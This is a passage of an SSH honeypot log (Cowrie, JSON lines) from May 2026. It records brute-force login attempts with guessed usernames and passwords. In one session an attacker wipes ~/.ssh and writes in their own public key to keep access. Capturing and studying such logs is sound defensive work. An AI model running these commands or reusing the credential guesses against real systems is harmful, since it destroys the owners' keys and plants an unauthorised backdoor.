af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:30:26.610019Z","src_ip":"119.195.89.96","session":"bf31a46f11ed","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"11111","message":"login attempt [oracle/11111] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:30:27.408669Z","src_ip":"119.195.89.96","session":"bf31a46f11ed","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:30:27.862379Z","src_ip":"119.195.89.96","session":"bf31a46f11ed","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:30:27.865873Z","src_ip":"119.195.89.96","session":"bf31a46f11ed","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:30:27.870124Z","src_ip":"119.195.89.96","session":"bf31a46f11ed","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:30:28.066116Z","src_ip":"119.195.89.96","session":"bf31a46f11ed","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:30:28.497725Z","src_ip":"119.195.89.96","session":"bf31a46f11ed","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:30:28.501531Z","src_ip":"119.195.89.96","session":"bf31a46f11ed","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:30:28.701575Z","src_ip":"119.195.89.96","session":"bf31a46f11ed","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:30:28.705915Z","src_ip":"119.195.89.96","session":"bf31a46f11ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.195.89.96","src_port":48505,"dst_ip":"159.203.135.109","dst_port":22,"session":"29e648cd9a4c","protocol":"ssh","message":"New connection: 119.195.89.96:48505 (159.203.135.109:22) [session: 29e648cd9a4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:30:28.895242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:30:28.900336Z","src_ip":"119.195.89.96","session":"29e648cd9a4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:30:29.097068Z","src_ip":"119.195.89.96","session":"29e648cd9a4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:30:29.919631Z","src_ip":"119.195.89.96","session":"29e648cd9a4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:30:31.120678Z","src_ip":"119.195.89.96","session":"29e648cd9a4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.195.89.96","src_port":15580,"dst_ip":"159.203.135.109","dst_port":22,"session":"5646225df108","protocol":"ssh","message":"New connection: 119.195.89.96:15580 (159.203.135.109:22) [session: 5646225df108]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:30:31.318208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:30:31.321548Z","src_ip":"119.195.89.96","session":"5646225df108","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:30:31.519547Z","src_ip":"119.195.89.96","session":"5646225df108","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:30:32.344594Z","src_ip":"119.195.89.96","session":"5646225df108","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:30:32.543265Z","src_ip":"119.195.89.96","session":"bf31a46f11ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:30:32.549915Z","src_ip":"119.195.89.96","session":"5646225df108","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.13.124.212","src_port":55498,"dst_ip":"159.203.135.109","dst_port":22,"session":"7107cdf302cd","protocol":"ssh","message":"New connection: 124.13.124.212:55498 (159.203.135.109:22) [session: 7107cdf302cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:30:53.889538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:30:53.894523Z","src_ip":"124.13.124.212","session":"7107cdf302cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:30:54.135281Z","src_ip":"124.13.124.212","session":"7107cdf302cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234!@#$","message":"login attempt [ubuntu/qwer1234!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:30:55.156544Z","src_ip":"124.13.124.212","session":"7107cdf302cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:30:56.417450Z","src_ip":"124.13.124.212","session":"7107cdf302cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38858,"dst_ip":"159.203.135.109","dst_port":22,"session":"3bac80c42472","protocol":"ssh","message":"New connection: 159.203.92.129:38858 (159.203.135.109:22) [session: 3bac80c42472]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:31:09.590953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:31:09.595229Z","src_ip":"159.203.92.129","session":"3bac80c42472","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:31:09.599943Z","src_ip":"159.203.92.129","session":"3bac80c42472","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alias","password":"alias@2020","message":"login attempt [alias/alias@2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:31:09.610185Z","src_ip":"159.203.92.129","session":"3bac80c42472","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:31:10.616840Z","src_ip":"159.203.92.129","session":"3bac80c42472","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.13.124.212","src_port":44788,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a8bcdc302e6","protocol":"ssh","message":"New connection: 124.13.124.212:44788 (159.203.135.109:22) [session: 3a8bcdc302e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:31:50.449457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:31:50.453612Z","src_ip":"124.13.124.212","session":"3a8bcdc302e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:31:50.694604Z","src_ip":"124.13.124.212","session":"3a8bcdc302e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"111","message":"login attempt [postgres/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:31:51.693680Z","src_ip":"124.13.124.212","session":"3a8bcdc302e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":57238,"dst_ip":"159.203.135.109","dst_port":22,"session":"fcb2f54c0868","protocol":"ssh","message":"New connection: 186.13.24.118:57238 (159.203.135.109:22) [session: fcb2f54c0868]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:31:51.948172Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:31:51.952522Z","src_ip":"186.13.24.118","session":"fcb2f54c0868","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:31:52.109726Z","src_ip":"186.13.24.118","session":"fcb2f54c0868","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nobody","password":"test123","message":"login attempt [nobody/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:31:52.771267Z","src_ip":"186.13.24.118","session":"fcb2f54c0868","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:31:52.937266Z","src_ip":"124.13.124.212","session":"3a8bcdc302e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:31:53.930001Z","src_ip":"186.13.24.118","session":"fcb2f54c0868","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41164,"dst_ip":"159.203.135.109","dst_port":22,"session":"8de189a8a0ec","protocol":"ssh","message":"New connection: 159.203.92.129:41164 (159.203.135.109:22) [session: 8de189a8a0ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:31:54.862151Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:31:54.866841Z","src_ip":"159.203.92.129","session":"8de189a8a0ec","protocol":"ssh"}
